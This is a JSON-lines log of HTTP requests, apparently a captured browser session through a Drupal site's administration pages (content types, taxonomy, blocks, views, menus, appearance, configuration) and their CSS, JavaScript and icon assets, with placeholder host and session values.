{"method": "GET", "target": "/admin/structure/types/manage/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/types/manage/article/fields", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_a0l6DFNDHHdFIetyfjHJ-uIfWwXSO0EmaV_goLTsK6Y.css?delta=0&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_BphLjOXn9B0C8-cuBOEKIDKSXP4pW8ECiyxNm922aI0.css?delta=1&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_-vK4LyWpDr9lb8GbXxZjkSnHhHJxu3Daihrs4NQA5Sw.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_0BtosoKuAqM5GtLkuevTJnnLoBkSvptjlR0qQYYDruk.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/overview", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_beYwnrkENjJYreCPf0waaN0M5ZTXCT9GLjw5onkeDjw.css?delta=0&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_FTAfAnA5r42E9GEn9GkVGDPIg8L0IeULw-SoXT7uZoM.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxtjVEKxDAIRC-UbY60aCJFmlUxpuzxN5QtpdA_570ZRF7fxkYZ_0fCpmXL1YdBW47wgBaoH5ZUVIK-MaCd9iKvxrL1WXE6JZTgnQ5x49XVcESo3HAANnLqptLnLgnsvEKwSub5xWV2LvYD225Okg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_SCXoTr9vN6hZiPM6C11NFP3oxLk6RnPB0IqXzA11Yqw.css?delta=0&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_XNws43iU5klsxMgxmee1XUhMpXK6wUYiEyUy32Zk_Z4.css?delta=1&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/views", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_9jp0Ks7ap-7-ZCIp65X0Z6Dp_lLzTnFyXr9PrernROs.css?delta=0&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/views/view/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxtj1sKwzAMBC8Ux0cq69gYtYoUZDl9nL6GBkKgv8Nod7UwTGNlTeDQ_M0kdVpUvLy8g2O2voHnk4RhPNpQrMRF102liLdZsFOFk0oIrsoJFlJ3V_mpRw7ueF1AJrDWKzLd_pw6EpdsOGRRW8H0KdNZHWmsNBnyyaadyrPdOkXklWQ-fvwC-TFgqQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-F3rj5YfR2asqg9sweZNjFfkXTvF0TvHucDW4zRpICrQ&form_token=2RiXwzIOzgnAYh4frV_Aykfi5NgGwuk_dGZCLtCUxjg&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=5e5HEgjfZ80aNQxNU9VRZE4_hDmt-aGjuwXr5qcCy0E&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
{"method": "GET", "target": "/admin/structure/menu", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/appearance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/claro/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/stark/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/default_admin/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/uninstall", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/system/site-information", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats/manage/basic_html", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/ckeditor5/ckeditor5-dll/ckeditor5-dll.js?v=47.6.3-drupal.1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/content/formats/manage/basic_html", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/redo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/undo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/special-characters.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/underline.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
